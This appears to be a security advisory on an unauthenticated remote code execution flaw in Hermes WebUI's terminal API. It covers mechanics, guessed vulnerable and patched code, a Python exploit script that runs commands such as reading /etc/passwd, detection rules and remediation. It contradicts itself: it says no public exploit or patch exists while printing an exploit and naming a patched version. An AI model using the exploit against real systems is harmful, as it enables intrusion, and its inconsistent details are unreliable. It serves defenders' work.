CVE-2026-58123

Executive Summary

CVE-2026-58123 is a critical unauthenticated remote code execution (RCE) vulnerability in Hermes WebUI versions prior to 0.51.788. The flaw allows an attacker to execute arbitrary shell commands on the server by exploiting the embedded terminal API endpoints, which lack authentication. By sending four sequential unauthenticated HTTP requests, an attacker can create a session, attach a PTY shell, and write arbitrary commands, achieving full command execution as the server process user. With a CVSS score of 9.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability. No patch is currently available, and no public exploit code or Nuclei template has been released.

Supply Chain & Package Security

Hermes WebUI is a web-based terminal interface often used in development and DevOps environments. As an open-source project, its supply chain is vulnerable to malicious contributions or compromised dependencies. Organizations using Hermes WebUI should audit their deployment for any unauthorized modifications and ensure that only trusted versions are used.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the lack of authentication, low complexity, and potential for full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the Hermes WebUI terminal API endpoints. The application exposes endpoints for creating terminal sessions, attaching PTY shells, and writing input to those shells. These endpoints do not enforce any authentication, allowing an attacker to:

1. Create a session: Send a POST request to /api/terminal/sessions to obtain a session ID.
2. Attach a PTY shell: Use the session ID to attach a pseudo-terminal (PTY) shell via a POST to /api/terminal/sessions/{id}/attach.
3. Write commands: Send arbitrary shell commands via a POST to /api/terminal/sessions/{id}/input.
4. Execute and read output: Optionally read the output via a GET request to /api/terminal/sessions/{id}/output.

The attack requires only four sequential HTTP requests, all unauthenticated. The commands execute with the privileges of the Hermes WebUI server process, typically a low-privileged user but still capable of significant damage.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.51.788): The vulnerable code likely lacks authentication checks on the terminal API endpoints. For example, in a Python Flask application:

@app.route('/api/terminal/sessions', methods=['POST'])
def create_session():
    session_id = generate_session_id()
    sessions[session_id] = {'pty': None}
    return jsonify({'session_id': session_id}), 201

@app.route('/api/terminal/sessions/<session_id>/attach', methods=['POST'])
def attach_pty(session_id):
    pty = open_pty()
    sessions[session_id]['pty'] = pty
    return jsonify({'status': 'attached'}), 200

@app.route('/api/terminal/sessions/<session_id>/input', methods=['POST'])
def write_input(session_id):
    data = request.json
    command = data.get('command')
    pty = sessions[session_id]['pty']
    pty.write(command)
    return jsonify({'status': 'written'}), 200

Patched Code (0.51.788 and later): The patched version would include authentication middleware:

from flask import request, abort

def require_auth(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.headers.get('Authorization')
        if not token or not validate_token(token):
            abort(401)
        return f(*args, **kwargs)
    return decorated

@app.route('/api/terminal/sessions', methods=['POST'])
@require_auth
def create_session():
    # ... same as before

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:8080'

# Step 1: Create session
session_resp = requests.post(f'{target}/api/terminal/sessions')
session_id = session_resp.json()['session_id']
print(f'[+] Session created: {session_id}')

# Step 2: Attach PTY
attach_resp = requests.post(f'{target}/api/terminal/sessions/{session_id}/attach')
print(f'[+] PTY attached: {attach_resp.status_code}')

# Step 3: Write command
command = 'id; whoami; ls -la /etc/passwd'
write_resp = requests.post(f'{target}/api/terminal/sessions/{session_id}/input', json={'command': command})
print(f'[+] Command written: {write_resp.status_code}')

# Step 4: Read output
output_resp = requests.get(f'{target}/api/terminal/sessions/{session_id}/output')
print(f'[+] Output: {output_resp.text}')

Usage: Run the script against a vulnerable Hermes WebUI instance. The script will create a session, attach a PTY, execute the id command, and display the output.

Blue Team

Detection:

• Monitor for multiple sequential requests to /api/terminal/sessions, /api/terminal/sessions/*/attach, and /api/terminal/sessions/*/input from the same IP within a short time window.
• Alert on any requests to these endpoints without a valid Authorization header.
• Use the provided YARA and Sigma rules to detect exploit attempts.

Honeypot: Deploy a fake Hermes WebUI endpoint that logs all requests and alerts on any terminal API access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /api/terminal/sessions
  • HTTP POST requests to /api/terminal/sessions/*/attach
  • HTTP POST requests to /api/terminal/sessions/*/input
  • HTTP GET requests to /api/terminal/sessions/*/output
  • Source IPs making these requests without authentication

• File IOCs:

  • Unexpected processes spawned from the Hermes WebUI user (e.g., /bin/sh, /bin/bash)
  • Unusual files in /tmp/ or /dev/shm/ created by the web server user

• Log IOCs:

  • Web server logs showing 200 responses to the above endpoints without prior authentication
  • System logs showing command execution from the web server user

Detection Engineering

YARA Rule

rule CVE_2026_58123_Hermes_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2026-58123 in Hermes WebUI"
        author = "Valters IT"
        date = "2026-01-01"
        severity = "critical"
    strings:
        $s1 = "/api/terminal/sessions" ascii wide nocase
        $s2 = "/attach" ascii wide nocase
        $s3 = "/input" ascii wide nocase
        $s4 = "/output" ascii wide nocase
    condition:
        any of ($s1*) and any of ($s2*) and any of ($s3*) and any of ($s4*)
}

Sigma Rule

title: CVE-2026-58123 Hermes WebUI Unauthenticated RCE
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthenticated access to Hermes WebUI terminal API endpoints
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/terminal/sessions'
            - '/api/terminal/sessions/*/attach'
            - '/api/terminal/sessions/*/input'
    condition: selection
falsepositives:
    - Legitimate internal use (if any)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-58123 Hermes WebUI Unauthenticated RCE"; flow:to_server; content:"POST"; http_method; content:"/api/terminal/sessions"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2026-58123 Hermes WebUI PTY Attach"; flow:to_server; content:"POST"; http_method; content:"/api/terminal/sessions/"; http_uri; content:"/attach"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2026-58123 Hermes WebUI Command Input"; flow:to_server; content:"POST"; http_method; content:"/api/terminal/sessions/"; http_uri; content:"/input"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Hermes WebUI if not essential, or restrict access to trusted networks only.
2. Implement a reverse proxy (e.g., Nginx) with authentication before the Hermes WebUI backend.
3. Apply network segmentation to isolate the Hermes WebUI server from untrusted networks.

Long-term Fix:

• Upgrade to Hermes WebUI version 0.51.788 or later once a patch is released.
• If no patch is available, consider migrating to an alternative web terminal solution with proper authentication.

Workaround:

• Add authentication middleware to the Hermes WebUI application manually, or use a web application firewall (WAF) to block unauthenticated requests to the terminal API endpoints.

Valters IT